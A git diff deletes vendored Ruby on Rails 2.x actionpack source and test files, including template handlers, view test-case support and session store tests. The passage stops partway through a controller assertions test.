--- a/vendor/rails/actionpack/lib/action_view/template_handler.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-# Legacy TemplateHandler stub
-module ActionView
-  module TemplateHandlers #:nodoc:
-    module Compilable
-      def self.included(base)
-        base.extend(ClassMethods)
-      end
-
-      module ClassMethods
-        def call(template)
-          new.compile(template)
-        end
-      end
-
-      def compile(template)
-         raise "Need to implement #{self.class.name}#compile(template)"
-       end
-    end
-  end
-
-  class TemplateHandler
-    def self.call(template)
-      "#{name}.new(self).render(template, local_assigns)"
-    end
-
-    def initialize(view = nil)
-      @view = view
-    end
-
-    def render(template, local_assigns)
-      raise "Need to implement #{self.class.name}#render(template, local_assigns)"
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/template_handlers.rb b/vendor/rails/actionpack/lib/action_view/template_handlers.rb
deleted file mode 100644
index 205f8628..00000000
--- a/vendor/rails/actionpack/lib/action_view/template_handlers.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-module ActionView #:nodoc:
-  module TemplateHandlers #:nodoc:
-    autoload :ERB, 'action_view/template_handlers/erb'
-    autoload :RJS, 'action_view/template_handlers/rjs'
-    autoload :Builder, 'action_view/template_handlers/builder'
-
-    def self.extended(base)
-      base.register_default_template_handler :erb, TemplateHandlers::ERB
-      base.register_template_handler :rjs, TemplateHandlers::RJS
-      base.register_template_handler :builder, TemplateHandlers::Builder
-
-      # TODO: Depreciate old template extensions
-      base.register_template_handler :rhtml, TemplateHandlers::ERB
-      base.register_template_handler :rxml, TemplateHandlers::Builder
-    end
-
-    @@template_handlers = {}
-    @@default_template_handlers = nil
-
-    # Register a class that knows how to handle template files with the given
-    # extension. This can be used to implement new template types.
-    # The constructor for the class must take the ActiveView::Base instance
-    # as a parameter, and the class must implement a +render+ method that
-    # takes the contents of the template to render as well as the Hash of
-    # local assigns available to the template. The +render+ method ought to
-    # return the rendered template as a string.
-    def register_template_handler(extension, klass)
-      @@template_handlers[extension.to_sym] = klass
-    end
-
-    def template_handler_extensions
-      @@template_handlers.keys.map(&:to_s).sort
-    end
-
-    def registered_template_handler(extension)
-      extension && @@template_handlers[extension.to_sym]
-    end
-
-    def register_default_template_handler(extension, klass)
-      register_template_handler(extension, klass)
-      @@default_template_handlers = klass
-    end
-
-    def handler_class_for_extension(extension)
-      registered_template_handler(extension) || @@default_template_handlers
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/template_handlers/builder.rb b/vendor/rails/actionpack/lib/action_view/template_handlers/builder.rb
deleted file mode 100644
index 788dc933..00000000
--- a/vendor/rails/actionpack/lib/action_view/template_handlers/builder.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-require 'builder'
-
-module ActionView
-  module TemplateHandlers
-    class Builder < TemplateHandler
-      include Compilable
-
-      def compile(template)
-        "_set_controller_content_type(Mime::XML);" +
-          "xml = ::Builder::XmlMarkup.new(:indent => 2);" +
-          "self.output_buffer = xml.target!;" +
-          template.source +
-          ";xml.target!;"
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/template_handlers/erb.rb b/vendor/rails/actionpack/lib/action_view/template_handlers/erb.rb
deleted file mode 100644
index a0131e13..00000000
--- a/vendor/rails/actionpack/lib/action_view/template_handlers/erb.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-module ActionView
-  module TemplateHandlers
-    class ERB < TemplateHandler
-      include Compilable
-
-      ##
-      # :singleton-method:
-      # Specify trim mode for the ERB compiler. Defaults to '-'.
-      # See ERb documentation for suitable values.
-      cattr_accessor :erb_trim_mode
-      self.erb_trim_mode = '-'
-
-      def compile(template)
-        magic = $1 if template.source =~ /\A(<%#.*coding[:=]\s*(\S+)\s*-?%>)/
-        erb = "#{magic}<% __in_erb_template=true %>#{template.source}"
-
-        if erb.respond_to?(:force_encoding)
-#          erb.force_encoding(template.source.encoding)
-          erb.force_encoding('UTF-8')
-        end
-
-        ::ERB.new(erb, nil, erb_trim_mode, '@output_buffer').src
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/template_handlers/rjs.rb b/vendor/rails/actionpack/lib/action_view/template_handlers/rjs.rb
deleted file mode 100644
index 41a1fddb..00000000
--- a/vendor/rails/actionpack/lib/action_view/template_handlers/rjs.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module ActionView
-  module TemplateHandlers
-    class RJS < TemplateHandler
-      include Compilable
-
-      def compile(template)
-        "@template_format = :html;" +
-        "controller.response.content_type ||= Mime::JS;" +
-          "update_page do |page|;#{template.source}\nend"
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/test_case.rb b/vendor/rails/actionpack/lib/action_view/test_case.rb
deleted file mode 100644
index 049314c4..00000000
--- a/vendor/rails/actionpack/lib/action_view/test_case.rb
+++ /dev/null
@@ -1,162 +0,0 @@
-require 'active_support/test_case'
-
-module ActionView
-  class Base
-    alias_method :initialize_without_template_tracking, :initialize
-    def initialize(*args)
-      @_rendered = { :template => nil, :partials => Hash.new(0) }
-      initialize_without_template_tracking(*args)
-    end
-  end
-
-  module Renderable
-    alias_method :render_without_template_tracking, :render
-    def render(view, local_assigns = {})
-      if respond_to?(:path) && !is_a?(InlineTemplate)
-        rendered = view.instance_variable_get(:@_rendered)
-        rendered[:partials][self] += 1 if is_a?(RenderablePartial)
-        rendered[:template] ||= self
-      end
-      render_without_template_tracking(view, local_assigns)
-    end
-  end
-
-  class TestCase < ActiveSupport::TestCase
-    class TestController < ActionController::Base
-      attr_accessor :request, :response, :params
-
-      def self.controller_path
-        ''
-      end
-
-      def initialize
-        @request = ActionController::TestRequest.new
-        @response = ActionController::TestResponse.new
-
-        @params = {}
-        send(:initialize_current_url)
-      end
-    end
-
-    include ActionController::TestCase::Assertions
-    include ActionController::TestProcess
-
-    include ActionController::PolymorphicRoutes
-    include ActionController::RecordIdentifier
-
-    include ActionView::Helpers
-    include ActionController::Helpers
-
-    class_inheritable_accessor :helper_class
-    attr_accessor :controller, :output_buffer, :rendered
-
-    setup :setup_with_controller
-    def setup_with_controller
-      @controller = TestController.new
-      @output_buffer = ''
-      @rendered = ''
-
-      self.class.send(:include_helper_modules!)
-      make_test_case_available_to_view!
-    end
-
-    def render(options = {}, local_assigns = {}, &block)
-      @rendered << output = _view.render(options, local_assigns, &block)
-      output
-    end
-
-    def protect_against_forgery?
-      false
-    end
-
-    class << self
-      def tests(helper_class)
-        self.helper_class = helper_class
-      end
-
-      def helper_class
-        if current_helper_class = read_inheritable_attribute(:helper_class)
-          current_helper_class
-        else
-          self.helper_class = determine_default_helper_class(name)
-        end
-      end
-
-      def determine_default_helper_class(name)
-        name.sub(/Test$/, '').constantize
-      rescue NameError
-        nil
-      end
-
-      def helper_method(*methods)
-        # Almost a duplicate from ActionController::Helpers
-        methods.flatten.each do |method|
-          master_helper_module.module_eval <<-end_eval
-            def #{method}(*args, &block)                    # def current_user(*args, &block)
-              _test_case.send(%(#{method}), *args, &block)  #   test_case.send(%(current_user), *args, &block)
-            end                                             # end
-          end_eval
-        end
-      end
-
-      private
-        def include_helper_modules!
-          helper(helper_class) if helper_class
-          include master_helper_module
-        end
-    end
-
-    private
-      def make_test_case_available_to_view!
-        test_case_instance = self
-        master_helper_module.module_eval do
-          define_method(:_test_case) { test_case_instance }
-          private :_test_case
-        end
-      end
-
-      def _view
-        view = ActionView::Base.new(ActionController::Base.view_paths, _assigns, @controller)
-        view.helpers.include master_helper_module
-        view.output_buffer = self.output_buffer
-        view
-      end
-
-      # Support the selector assertions
-      #
-      # Need to experiment if this priority is the best one: rendered => output_buffer
-      def response_from_page_or_rjs
-        HTML::Document.new(rendered.blank? ? output_buffer : rendered).root
-      end
-
-      EXCLUDE_IVARS = %w{
-        @output_buffer
-        @fixture_cache
-        @method_name
-        @_result
-        @loaded_fixtures
-        @test_passed
-        @view
-      }
-
-      def _instance_variables
-        instance_variables - EXCLUDE_IVARS
-      end
-
-      def _assigns
-        _instance_variables.inject({}) do |hash, var|
-          name = var[1..-1].to_sym
-          hash[name] = instance_variable_get(var)
-          hash
-        end
-      end
-
-      def method_missing(selector, *args)
-        if ActionController::Routing::Routes.named_routes.helpers.include?(selector)
-          @controller.__send__(selector, *args)
-        else
-          super
-        end
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/actionpack.rb b/vendor/rails/actionpack/lib/actionpack.rb
deleted file mode 100644
index 41681db7..00000000
--- a/vendor/rails/actionpack/lib/actionpack.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-require 'action_pack'
-ActiveSupport::Deprecation.warn 'require "actionpack" is deprecated and will be removed in Rails 3. Use require "action_pack" instead.'
diff --git a/vendor/rails/actionpack/test/abstract_unit.rb b/vendor/rails/actionpack/test/abstract_unit.rb
deleted file mode 100644
index 0dce5500..00000000
--- a/vendor/rails/actionpack/test/abstract_unit.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-$:.unshift File.expand_path('../../lib', __FILE__)
-$:.unshift File.expand_path('../../../activesupport/lib', __FILE__)
-$:.unshift File.expand_path('../fixtures/helpers', __FILE__)
-$:.unshift File.expand_path('../fixtures/alternate_helpers', __FILE__)
-
-require 'rubygems'
-require 'yaml'
-require 'stringio'
-require 'test/unit'
-
-gem 'mocha', '>= 0.9.7'
-require 'mocha'
-
-begin
-  require 'ruby-debug'
-  Debugger.settings[:autoeval] = true
-  Debugger.start
-rescue LoadError
-  # Debugging disabled. `gem install ruby-debug` to enable.
-end
-
-require 'action_controller'
-require 'action_controller/cgi_ext'
-require 'action_controller/test_process'
-require 'action_view/test_case'
-
-# Show backtraces for deprecated behavior for quicker cleanup.
-ActiveSupport::Deprecation.debug = true
-
-ActionController::Base.logger = nil
-ActionController::Routing::Routes.reload rescue nil
-
-ActionController::Base.session_store = nil
-
-# Register languages for testing
-I18n.backend.store_translations 'da', "da" => {}
-I18n.backend.store_translations 'pt-BR', "pt-BR" => {}
-ORIGINAL_LOCALES = I18n.available_locales.map(&:to_s).sort
-
-FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
-ActionView::Base.cache_template_loading = true
-ActionController::Base.view_paths = FIXTURE_LOAD_PATH
-CACHED_VIEW_PATHS = ActionView::Base.cache_template_loading? ?
-                      ActionController::Base.view_paths :
-                      ActionController::Base.view_paths.map {|path| ActionView::Template::EagerPath.new(path.to_s)}
-
-class DummyMutex
-  def lock
-    @locked = true
-  end
-
-  def unlock
-    @locked = false
-  end
-
-  def locked?
-    @locked
-  end
-end
-
-class ActionController::IntegrationTest < ActiveSupport::TestCase
-  def with_autoload_path(path)
-    path = File.join(File.dirname(__FILE__), "fixtures", path)  
-    if ActiveSupport::Dependencies.autoload_paths.include?(path)
-      yield
-    else
-      begin
-        ActiveSupport::Dependencies.autoload_paths << path
-        yield
-      ensure
-        ActiveSupport::Dependencies.autoload_paths.reject! {|p| p == path}
-        ActiveSupport::Dependencies.clear
-      end              
-    end
-  end
-end
-
-ActionController::Reloader.default_lock = DummyMutex.new
diff --git a/vendor/rails/actionpack/test/active_record_unit.rb b/vendor/rails/actionpack/test/active_record_unit.rb
deleted file mode 100644
index 5c0cb062..00000000
--- a/vendor/rails/actionpack/test/active_record_unit.rb
+++ /dev/null
@@ -1,104 +0,0 @@
-require 'abstract_unit'
-
-# Define the essentials
-class ActiveRecordTestConnector
-  cattr_accessor :able_to_connect
-  cattr_accessor :connected
-
-  # Set our defaults
-  self.connected = false
-  self.able_to_connect = true
-end
-
-# Try to grab AR
-if defined?(ActiveRecord) && defined?(Fixtures)
-  $stderr.puts 'Active Record is already loaded, running tests'
-else
-  $stderr.print 'Attempting to load Active Record... '
-  begin
-    PATH_TO_AR = File.expand_path('../../../activerecord/lib', __FILE__)
-    raise LoadError, "#{PATH_TO_AR} doesn't exist" unless File.directory?(PATH_TO_AR)
-    $LOAD_PATH.unshift PATH_TO_AR
-    require 'active_record'
-    require 'active_record/fixtures'
-    $stderr.puts 'success'
-  rescue LoadError => e
-    $stderr.print "failed. Skipping Active Record assertion tests: #{e}"
-    ActiveRecordTestConnector.able_to_connect = false
-  end
-end
-$stderr.flush
-
-
-# Define the rest of the connector
-class ActiveRecordTestConnector
-  class << self
-    def setup
-      unless self.connected || !self.able_to_connect
-        setup_connection
-        load_schema
-        require_fixture_models
-        self.connected = true
-      end
-    rescue Exception => e  # errors from ActiveRecord setup
-      $stderr.puts "\nSkipping ActiveRecord assertion tests: #{e}"
-      #$stderr.puts "  #{e.backtrace.join("\n  ")}\n"
-      self.able_to_connect = false
-    end
-
-    private
-      def setup_connection
-        if Object.const_defined?(:ActiveRecord)
-          defaults = { :database => ':memory:' }
-          begin
-            adapter = defined?(JRUBY_VERSION) ? 'jdbcsqlite3' : 'sqlite3'
-            options = defaults.merge :adapter => adapter, :timeout => 500
-            ActiveRecord::Base.establish_connection(options)
-            ActiveRecord::Base.configurations = { 'sqlite3_ar_integration' => options }
-            ActiveRecord::Base.connection
-          rescue Exception  # errors from establishing a connection
-            $stderr.puts 'SQLite 3 unavailable; trying SQLite 2.'
-            options = defaults.merge :adapter => 'sqlite'
-            ActiveRecord::Base.establish_connection(options)
-            ActiveRecord::Base.configurations = { 'sqlite2_ar_integration' => options }
-            ActiveRecord::Base.connection
-          end
-
-          Object.send(:const_set, :QUOTED_TYPE, ActiveRecord::Base.connection.quote_column_name('type')) unless Object.const_defined?(:QUOTED_TYPE)
-        else
-          raise "Can't setup connection since ActiveRecord isn't loaded."
-        end
-      end
-
-      # Load actionpack sqlite tables
-      def load_schema
-        File.read(File.dirname(__FILE__) + "/fixtures/db_definitions/sqlite.sql").split(';').each do |sql|
-          ActiveRecord::Base.connection.execute(sql) unless sql.blank?
-        end
-      end
-
-      def require_fixture_models
-        Dir.glob(File.dirname(__FILE__) + "/fixtures/*.rb").each {|f| require f}
-      end
-  end
-end
-
-class ActiveRecordTestCase < ActionController::TestCase
-  include ActiveRecord::TestFixtures
-
-  # Set our fixture path
-  if ActiveRecordTestConnector.able_to_connect
-    self.fixture_path = [FIXTURE_LOAD_PATH]
-    self.use_transactional_fixtures = false
-  end
-
-  def self.fixtures(*args)
-    super if ActiveRecordTestConnector.connected
-  end
-
-  def run(*args)
-    super if ActiveRecordTestConnector.connected
-  end
-end
-
-ActiveRecordTestConnector.setup
diff --git a/vendor/rails/actionpack/test/activerecord/active_record_store_test.rb b/vendor/rails/actionpack/test/activerecord/active_record_store_test.rb
deleted file mode 100644
index 6f2fe327..00000000
--- a/vendor/rails/actionpack/test/activerecord/active_record_store_test.rb
+++ /dev/null
@@ -1,221 +0,0 @@
-require 'active_record_unit'
-
-class ActiveRecordStoreTest < ActionController::IntegrationTest
-  DispatcherApp = ActionController::Dispatcher.new
-  SessionApp = ActiveRecord::SessionStore.new(DispatcherApp,
-                :key => '_session_id')
-  SessionAppWithFixation = ActiveRecord::SessionStore.new(DispatcherApp,
-                            :key => '_session_id', :cookie_only => false)
-
-  class TestController < ActionController::Base
-    def no_session_access
-      head :ok
-    end
-
-    def set_session_value
-      session[:foo] = params[:foo] || "bar"
-      head :ok
-    end
-
-    def get_session_value
-      render :text => "foo: #{session[:foo].inspect}"
-    end
-
-    def get_session_id
-      render :text => "#{request.session_options[:id]}"
-    end
-
-    def call_reset_session
-      session[:foo]
-      reset_session
-      session[:foo] = "baz"
-      head :ok
-    end
-
-    def rescue_action(e) raise end
-  end
-
-  def setup
-    ActiveRecord::SessionStore.session_class.create_table!
-    @integration_session = open_session(SessionApp)
-  end
-
-  def teardown
-    ActiveRecord::SessionStore.session_class.drop_table!
-  end
-
-  %w{ session sql_bypass }.each do |class_name|
-    define_method("test_setting_and_getting_session_value_with_#{class_name}_store") do
-      with_store class_name do
-        with_test_route_set do
-          get '/set_session_value'
-          assert_response :success
-          assert cookies['_session_id']
-
-          get '/get_session_value'
-          assert_response :success
-          assert_equal 'foo: "bar"', response.body
-
-          get '/set_session_value', :foo => "baz"
-          assert_response :success
-          assert cookies['_session_id']
-
-          get '/get_session_value'
-          assert_response :success
-          assert_equal 'foo: "baz"', response.body
-        end
-      end
-    end
-  end
-
-  def test_getting_nil_session_value
-    with_test_route_set do
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: nil', response.body
-    end
-  end
-
-  def test_setting_session_value_after_session_reset
-    with_test_route_set do
-      get '/set_session_value'
-      assert_response :success
-      assert cookies['_session_id']
-      session_id = cookies['_session_id']
-
-      get '/call_reset_session'
-      assert_response :success
-      assert_not_equal [], headers['Set-Cookie']
-
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: "baz"', response.body
-
-      get '/get_session_id'
-      assert_response :success
-      assert_not_equal session_id, response.body
-    end
-  end
-
-  def test_getting_session_id
-    with_test_route_set do
-      get '/set_session_value'
-      assert_response :success
-      assert cookies['_session_id']
-      session_id = cookies['_session_id']
-
-      get '/get_session_id'
-      assert_response :success
-      assert_equal session_id, response.body
-    end
-  end
-
-  def test_getting_session_value
-    with_test_route_set do
-      get '/set_session_value'
-      assert_response :success
-      assert cookies['_session_id']
-
-      get '/get_session_value'
-      assert_response :success
-      assert_equal nil, headers['Set-Cookie'], "should not resend the cookie again if session_id cookie is already exists"
-      session_id = cookies["_session_id"]
-
-      get '/call_reset_session'
-      assert_response :success
-      assert_not_equal [], headers['Set-Cookie']
-
-      cookies["_session_id"] = session_id # replace our new session_id with our old, pre-reset session_id
-
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: nil', response.body, "data for this session should have been obliterated from the database"
-    end
-  end
-
-  def test_getting_from_nonexistent_session
-    with_test_route_set do
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: nil', response.body
-      assert_nil cookies['_session_id'], "should only create session on write, not read"
-    end
-  end
-
-  def test_prevents_session_fixation
-    with_test_route_set do
-      get '/set_session_value'
-      assert_response :success
-      assert cookies['_session_id']
-
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: "bar"', response.body
-      session_id = cookies['_session_id']
-      assert session_id
-
-      reset!
-
-      get '/set_session_value', :_session_id => session_id, :foo => "baz"
-      assert_response :success
-      assert_equal nil, cookies['_session_id']
-
-      get '/get_session_value', :_session_id => session_id
-      assert_response :success
-      assert_equal 'foo: nil', response.body
-      assert_equal nil, cookies['_session_id']
-    end
-  end
-
-  def test_allows_session_fixation
-    @integration_session = open_session(SessionAppWithFixation)
-
-    with_test_route_set do
-      get '/set_session_value'
-      assert_response :success
-      assert cookies['_session_id']
-
-      get '/get_session_value'
-      assert_response :success
-      assert_equal 'foo: "bar"', response.body
-      session_id = cookies['_session_id']
-      assert session_id
-
-      reset!
-      @integration_session = open_session(SessionAppWithFixation)
-
-      get '/set_session_value', :_session_id => session_id, :foo => "baz"
-      assert_response :success
-      assert_equal session_id, cookies['_session_id']
-
-      get '/get_session_value', :_session_id => session_id
-      assert_response :success
-      assert_equal 'foo: "baz"', response.body
-      assert_equal session_id, cookies['_session_id']
-    end
-  end
-
-  private
-    def with_test_route_set
-      with_routing do |set|
-        set.draw do |map|
-          map.with_options :controller => "active_record_store_test/test" do |c|
-            c.connect "/:action"
-          end
-        end
-        yield
-      end
-    end
-
-    def with_store(class_name)
-      begin
-        session_class = ActiveRecord::SessionStore.session_class
-        ActiveRecord::SessionStore.session_class = "ActiveRecord::SessionStore::#{class_name.camelize}".constantize
-        yield
-      rescue
-        ActiveRecord::SessionStore.session_class = session_class
-        raise
-      end
-    end
-
-end
diff --git a/vendor/rails/actionpack/test/activerecord/render_partial_with_record_identification_test.rb b/vendor/rails/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
deleted file mode 100644
index 0a596c7a..00000000
--- a/vendor/rails/actionpack/test/activerecord/render_partial_with_record_identification_test.rb
+++ /dev/null
@@ -1,188 +0,0 @@
-require 'active_record_unit'
-
-class RenderPartialWithRecordIdentificationController < ActionController::Base
-  def render_with_has_many_and_belongs_to_association
-    @developer = Developer.find(1)
-    render :partial => @developer.projects
-  end
-
-  def render_with_has_many_association
-    @topic = Topic.find(1)
-    render :partial => @topic.replies
-  end
-
-  def render_with_named_scope
-    render :partial => Reply.base
-  end
-
-  def render_with_has_many_through_association
-    @developer = Developer.find(:first)
-    render :partial => @developer.topics
-  end
-
-  def render_with_has_one_association
-    @company = Company.find(1)
-    render :partial => @company.mascot
-  end
-
-  def render_with_belongs_to_association
-    @reply = Reply.find(1)
-    render :partial => @reply.topic
-  end
-
-  def render_with_record
-    @developer = Developer.find(:first)
-    render :partial => @developer
-  end
-
-  def render_with_record_collection
-    @developers = Developer.find(:all)
-    render :partial => @developers
-  end
-
-  def render_with_record_collection_and_spacer_template
-    @developer = Developer.find(1)
-    render :partial => @developer.projects, :spacer_template => 'test/partial_only'
-  end
-end
-
-class RenderPartialWithRecordIdentificationTest < ActiveRecordTestCase
-  tests RenderPartialWithRecordIdentificationController
-  fixtures :developers, :projects, :developers_projects, :topics, :replies, :companies, :mascots
-
-  def test_rendering_partial_with_has_many_and_belongs_to_association
-    get :render_with_has_many_and_belongs_to_association
-    assert_template 'projects/_project'
-    assert_equal assigns(:developer).projects.map(&:name).join, @response.body
-  end
-
-  def test_rendering_partial_with_has_many_association
-    get :render_with_has_many_association
-    assert_template 'replies/_reply'
-    assert_equal 'Birdman is better!', @response.body
-  end
-
-  def test_rendering_partial_with_named_scope
-    get :render_with_named_scope
-    assert_template 'replies/_reply'
-    assert_equal 'Birdman is better!Nuh uh!', @response.body
-  end
-
-  def test_render_with_record
-    get :render_with_record
-    assert_template 'developers/_developer'
-    assert_equal 'David', @response.body
-  end
-
-  def test_render_with_record_collection
-    get :render_with_record_collection
-    assert_template 'developers/_developer'
-    assert_equal 'DavidJamisfixture_3fixture_4fixture_5fixture_6fixture_7fixture_8fixture_9fixture_10Jamis', @response.body
-  end
-
-  def test_render_with_record_collection_and_spacer_template
-    get :render_with_record_collection_and_spacer_template
-    assert_equal assigns(:developer).projects.map(&:name).join('only partial'), @response.body
-  end
-
-  def test_rendering_partial_with_has_one_association
-    mascot = Company.find(1).mascot
-    get :render_with_has_one_association
-    assert_template 'mascots/_mascot'
-    assert_equal mascot.name, @response.body
-  end
-end
-
-class RenderPartialWithRecordIdentificationController < ActionController::Base
-  def render_with_has_many_and_belongs_to_association
-    @developer = Developer.find(1)
-    render :partial => @developer.projects
-  end
-
-  def render_with_has_many_association
-    @topic = Topic.find(1)
-    render :partial => @topic.replies
-  end
-
-  def render_with_has_many_through_association
-    @developer = Developer.find(:first)
-    render :partial => @developer.topics
-  end
-
-  def render_with_belongs_to_association
-    @reply = Reply.find(1)
-    render :partial => @reply.topic
-  end
-
-  def render_with_record
-    @developer = Developer.find(:first)
-    render :partial => @developer
-  end
-
-  def render_with_record_collection
-    @developers = Developer.find(:all)
-    render :partial => @developers
-  end
-end
-
-class Game < Struct.new(:name, :id)
-  def to_param
-    id.to_s
-  end
-end
-
-module Fun
-  class NestedController < ActionController::Base
-    def render_with_record_in_nested_controller
-      render :partial => Game.new("Pong")
-    end
-
-    def render_with_record_collection_in_nested_controller
-      render :partial => [ Game.new("Pong"), Game.new("Tank") ]
-    end
-  end
-
-  module Serious
-    class NestedDeeperController < ActionController::Base
-      def render_with_record_in_deeper_nested_controller
-        render :partial => Game.new("Chess")
-      end
-
-      def render_with_record_collection_in_deeper_nested_controller
-        render :partial => [ Game.new("Chess"), Game.new("Sudoku"), Game.new("Solitaire") ]
-      end
-    end
-  end
-end
-
-class RenderPartialWithRecordIdentificationAndNestedControllersTest < ActiveRecordTestCase
-  tests Fun::NestedController
-
-  def test_render_with_record_in_nested_controller
-    get :render_with_record_in_nested_controller
-    assert_template 'fun/games/_game'
-    assert_equal 'Pong', @response.body
-  end
-
-  def test_render_with_record_collection_in_nested_controller
-    get :render_with_record_collection_in_nested_controller
-    assert_template 'fun/games/_game'
-    assert_equal 'PongTank', @response.body
-  end
-end
-
-class RenderPartialWithRecordIdentificationAndNestedDeeperControllersTest < ActiveRecordTestCase
-  tests Fun::Serious::NestedDeeperController
-
-  def test_render_with_record_in_deeper_nested_controller
-    get :render_with_record_in_deeper_nested_controller
-    assert_template 'fun/serious/games/_game'
-    assert_equal 'Chess', @response.body
-  end
-
-  def test_render_with_record_collection_in_deeper_nested_controller
-    get :render_with_record_collection_in_deeper_nested_controller
-    assert_template 'fun/serious/games/_game'
-    assert_equal 'ChessSudokuSolitaire', @response.body
-  end
-end
diff --git a/vendor/rails/actionpack/test/adv_attr_test.rb b/vendor/rails/actionpack/test/adv_attr_test.rb
deleted file mode 100644
index fdda4ad9..00000000
--- a/vendor/rails/actionpack/test/adv_attr_test.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require File.dirname(__FILE__) + '/abstract_unit'
-require 'action_mailer/adv_attr_accessor'
-
-class AdvAttrTest < Test::Unit::TestCase
-  class Person
-    include ActionMailer::AdvAttrAccessor
-    adv_attr_accessor :name
-  end
-
-  def test_adv_attr
-    bob = Person.new
-    assert_nil bob.name
-    bob.name 'Bob'
-    assert_equal 'Bob', bob.name
-
-    assert_raise(ArgumentError) {bob.name 'x', 'y'}
-  end
-
-
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/controller/action_pack_assertions_test.rb b/vendor/rails/actionpack/test/controller/action_pack_assertions_test.rb
deleted file mode 100644
index ec7e2164..00000000
--- a/vendor/rails/actionpack/test/controller/action_pack_assertions_test.rb
+++ /dev/null
@@ -1,545 +0,0 @@
-require 'abstract_unit'
-
-# a controller class to facilitate the tests
-class ActionPackAssertionsController < ActionController::Base
-
-  # this does absolutely nothing
-  def nothing() head :ok end
-
-  # a standard template
-  def hello_world() render :template => "test/hello_world"; end
-
-  # a standard template
-  def hello_xml_world() render :template => "test/hello_xml_world"; end
-  
-  # a standard partial
-  def partial() render :partial => 'test/partial'; end
-
-  # a redirect to an internal location
-  def redirect_internal() redirect_to "/nothing"; end
-
-  def redirect_to_action() redirect_to :action => "flash_me", :id => 1, :params => { "panda" => "fun" }; end
-
-  def redirect_to_controller() redirect_to :controller => "elsewhere", :action => "flash_me"; end
-
-  def redirect_to_controller_with_symbol() redirect_to :controller => :elsewhere, :action => :flash_me; end
-
-  def redirect_to_path() redirect_to '/some/path' end
-
-  def redirect_to_named_route() redirect_to route_one_url end
-
-  # a redirect to an external location
-  def redirect_external() redirect_to "http://www.rubyonrails.org"; end
-
-  # a 404
-  def response404() head '404 AWOL' end
-
-  # a 500
-  def response500() head '500 Sorry' end
-
-  # a fictional 599
-  def response599() head '599 Whoah!' end
-
-  # putting stuff in the flash
-  def flash_me
-    flash['hello'] = 'my name is inigo montoya...'
-    render :text => "Inconceivable!"
-  end
-
-  # we have a flash, but nothing is in it
-  def flash_me_naked
-    flash.clear
-    render :text => "wow!"
-  end
-
-  # assign some template instance variables
-  def assign_this
-    @howdy = "ho"
-    render :inline => "Mr. Henke"
-  end
-
-  def render_based_on_parameters
-    render :text => "Mr. #{params[:name]}"
-  end
-
-  def render_url
-    render :text => "<div>#{url_for(:action => 'flash_me', :only_path => true)}</div>"
-  end
-
-  def render_text_with_custom_content_type
-    render :text => "Hello!", :content_type => Mime::RSS
-  end
-
-  # puts something in the session
-  def session_stuffing
-    session['xmas'] = 'turkey'
-    render :text => "ho ho ho"
-  end
-
-  # raises exception on get requests
-  def raise_on_get
-    raise "get" if request.get?
-    render :text => "request method: #{request.env['REQUEST_METHOD']}"
-  end
-
-  # raises exception on post requests
-  def raise_on_post
-    raise "post" if request.post?
-    render :text => "request method: #{request.env['REQUEST_METHOD']}"
-  end
-
-  def get_valid_record
-    @record = Class.new do
-      def valid?
-        true
-      end
-
-      def errors
-        Class.new do
-           def full_messages; []; end
-        end.new
-      end
-
-    end.new
-
-    render :nothing => true
-  end
-
-
-  def get_invalid_record
-    @record = Class.new do
-
-      def valid?
-        false
-      end
-
-      def errors
-        Class.new do
-           def full_messages; ['...stuff...']; end
-        end.new
-      end
-    end.new
-
-    render :nothing => true
-  end
-
-  # 911
-  def rescue_action(e) raise; end
-end
-
-# Used to test that assert_response includes the exception message
-# in the failure message when an action raises and assert_response
-# is expecting something other than an error.
-class AssertResponseWithUnexpectedErrorController < ActionController::Base
-  def index
-    raise 'FAIL'
-  end
-
-  def show
-    render :text => "Boom", :status => 500
-  end
-end
-
-class UserController < ActionController::Base
-end
-
-module Admin
-  class InnerModuleController < ActionController::Base
-    def index
-      render :nothing => true
-    end
-
-    def redirect_to_index
-      redirect_to admin_inner_module_path
-    end
-
-    def redirect_to_absolute_controller
-      redirect_to :controller => '/content'
-    end
-
-    def redirect_to_fellow_controller
-      redirect_to :controller => 'user'
-    end
-
-    def redirect_to_top_level_named_route
-      redirect_to top_level_url(:id => "foo")
-    end
-  end
-end
-
-# a test case to exercise the new capabilities TestRequest & TestResponse
-class ActionPackAssertionsControllerTest < ActionController::TestCase
-  # let's get this party started
-  def setup
-    ActionController::Routing::Routes.reload
-    ActionController::Routing.use_controllers!(%w(action_pack_assertions admin/inner_module user content admin/user))
-  end
-
-  def teardown
-    ActionController::Routing::Routes.reload
-  end
-
-  # -- assertion-based testing ------------------------------------------------
-
-  def test_assert_tag_and_url_for
-    get :render_url
-    assert_tag :content => "/action_pack_assertions/flash_me"
-  end
-
-  # test the get method, make sure the request really was a get
-  def test_get
-    assert_raise(RuntimeError) { get :raise_on_get }
-    get :raise_on_post
-    assert_equal @response.body, 'request method: GET'
-  end
-
-  # test the get method, make sure the request really was a get
-  def test_post
-    assert_raise(RuntimeError) { post :raise_on_post }
-    post :raise_on_get
-    assert_equal @response.body, 'request method: POST'
-  end
-
-#   the following test fails because the request_method is now cached on the request instance
-#   test the get/post switch within one test action
-#   def test_get_post_switch
-#     post :raise_on_get
-#     assert_equal @response.body, 'request method: POST'
-#     get :raise_on_post
